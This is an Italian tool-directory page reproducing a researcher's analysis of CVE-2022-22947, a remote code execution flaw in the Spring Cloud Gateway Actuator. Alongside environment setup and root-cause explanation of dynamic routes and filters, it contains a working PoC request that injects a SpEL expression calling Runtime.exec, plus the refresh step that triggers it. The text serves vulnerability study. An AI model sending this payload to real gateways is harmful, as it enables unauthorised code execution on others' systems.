Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/enokiy/cve-2022-22947-spring-cloud-gateway
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubenokiy/cve-2022-22947-spring-cloud-gateway

cve-2022-22947-spring-cloud-gateway

Analisi dettagliata e exploit per CVE-2022-22947, una vulnerabilità di esecuzione remota di codice in Spring Cloud Gateway tramite iniezione SpEL nell'API Actuator. Include PoC, iniezione di shell in memoria e analisi della causa principale.

Vedi Repository
18194 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Introduzione alla vulnerabilità

Spring Cloud Gateway è un nuovo progetto di Spring Cloud, un gateway sviluppato basandosi su tecnologie come Spring 5.0, Spring Boot 2.0 e Project Reactor, progettato per fornire un modo semplice ed efficace di gestione unificata delle route API per architetture a microservizi. Recentemente è stato scoperto un RCE critico in Spring Cloud Gateway CVE, le informazioni sulla CVE mostrano che quando l'applicazione abilita ed espone l'endpoint Gateway Actuator di Spring Cloud Gateway, è soggetta ad attacchi di iniezione di codice remoto; un aggressore può inviare richieste malevole per eseguire codice arbitrario da remoto. Le versioni attualmente interessate sono:

  • 3.1.0
  • 3.0.0 fino a 3.0.6
  • Older, unsupported versions are also affected

Questa analisi, attraverso la riproduzione di questa CVE, studia il principio della vulnerabilità e le modalità di sfruttamento più avanzate.

Configurazione dell'ambiente

Crea un progetto Maven con le seguenti dipendenze:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9

Nella configurazione predefinita di Spring Boot, solo l'endpoint 'health' è esposto al web. Se è necessario esporre il gateway, è necessario configurarlo manualmente. Fare riferimento alla [documentazione ufficiale](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health

Invia il seguente POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json

{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

![](https://assets.kitploit.com/production/public/readmes/35878/39233225aa6d08c3ff4f14f3071172786b11345cedade53e5737bd2327a1d4ae.png)

Quindi invia ````POST /actuator/gateway/refresh```` per aggiornare le informazioni della cache delle route, attivando così il POC:

![](https://assets.kitploit.com/production/public/readmes/35878/e06c39a19eb0078362b53c7ca2f1b278dc403cc3054a0a23e3ff22c374871d31.png)

## Analisi del principio

Osservando il POC sopra, prima viene aggiunta dinamicamente una route tramite ````POST /actuator/gateway/routes/test2````. Durante l'aggiunta della route, un filter elabora il parametro di input e può trattare il valore come un'espressione SPEL. Quando la cache delle route viene aggiornata, viene attivata l'esecuzione del POC.
Per prima cosa, esaminiamo il meccanismo di configurazione dinamica delle route di Spring Cloud Gateway.
### Configurazione delle route dinamiche
Spring Cloud Gateway supporta la registrazione delle route tramite codice/file di configurazione, come mostrato nel [demo](https://spring.io/guides/gs/gateway/) ufficiale:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
    return builder.routes()
        .route(p -> p
            .path("/get")
            .filters(f -> f.addRequestHeader("Hello", "World"))
            .uri("http://httpbin.org:80"))
        .build();
}

Il metodo di configurazione è simile al codice:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1

Le route aggiunte in entrambi i modi sono fisse; se è necessario aggiungere, modificare o eliminare configurazioni e regole di routing, è necessario riavviare l'applicazione affinché le modifiche abbiano effetto. Tuttavia, in pratica, Spring Cloud Gateway, essendo il punto di ingresso per tutto il traffico, deve garantire un'alta disponibilità del sistema. Pertanto, Spring Cloud Gateway espone l'endpoint `/gateway` e, tramite `/gateway/routes`, è possibile aggiungere, eliminare e modificare dinamicamente le informazioni di routing. Tuttavia, le informazioni di routing aggiunte in questo modo risiedono solo in memoria; una volta che il servizio viene riavviato, le nuove configurazioni di routing vengono perse.

Dal formato di registrazione delle route sopra riportato, si può notare che un'informazione di route include l'URI di destinazione, un insieme di filter e un insieme di predicates. I predicates possono corrispondere a qualsiasi contenuto della richiesta HTTP (header, parametri). Spring Cloud Gateway ha molte classi factory di route predicate integrate, come Before, After, Between, Cookie, Header, Host, [Path, ecc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

![](https://assets.kitploit.com/production/public/readmes/35878/3cc2f4a5937db984a675ba2f6ff5845b19d6a36166709de5bfb694f1fa017101.png)

I filter vengono utilizzati per modificare la richiesta o la risposta prima o dopo l'invio della richiesta. Anche loro includono molti insiemi di filter integrati. Nel payload che ha attivato la RCE sopra, abbiamo usato il filter `AddResponseHeader`. Altri filter includono `RewritePath`, `SetPath`, ecc. Esistono due tipi di filter: i `GlobalFilter`, che sono validi per tutte le route, e i `GatewayFilter`, che sono validi solo per una singola route. Per maggiori dettagli, fare riferimento a https://www.cnblogs.com/duanxz/p/14780675.html.

![](https://assets.kitploit.com/production/public/readmes/35878/fbabe62f51e3431325c9ee186366f9b7dbbcb0986ed62b77a027579107cdc84b.png),![](https://assets.kitploit.com/production/public/readmes/35878/4a0b7e2b6cfaa4cbbbbcb1887de3b805429feea3b36dd8ac34a1147fece7359b.png)

## Flusso della richiesta

Allora, qual è il flusso specifico quando una richiesta arriva attraverso il gateway fino al servizio proxy di backend? Il diagramma seguente mostra il flusso dalla documentazione ufficiale:

![](https://assets.kitploit.com/production/public/readmes/35878/687f60eb0e38895b1e44cd733860ac935e67c50925b9b935fe7e6a234a1e3756.png)

Il client invia una richiesta a Spring Cloud Gateway. Quindi, in Gateway Handler Mapping, viene trovata la route corrispondente alla richiesta e inviata a Gateway Web Handler. L'Handler, a sua volta, invia la richiesta attraverso la catena di filtri specificata al servizio effettivo che esegue la logica di business e restituisce la risposta. I filtri sono separati da linee tratteggiate perché possono eseguire la logica di business prima (pre) o dopo (post) l'invio della richiesta al proxy.
`RoutePredicateHandlerMapping` trova la route, che viene poi elaborata da `webHandler`:

![img.png](https://assets.kitploit.com/production/public/readmes/35878/d3c9c2d41e77a0f167c8d313fea969ad05ca5682517f361a07bb86781cb5e1d8.png)

In `webHandler`, vengono trovati i `gatewayFilters` e i `globalFilters`, quindi vengono ordinati in base al valore `Order` definito nei filtri, formando una `filterchain` e vengono eseguiti tutti i filtri.

![img.png](https://assets.kitploit.com/production/public/readmes/35878/847e849b9f69c76a23a876c035d2bfe904e2279913f17281c588cf4de2e59e0b.png)

### Registrazione dinamica delle route
Scarica lo strumento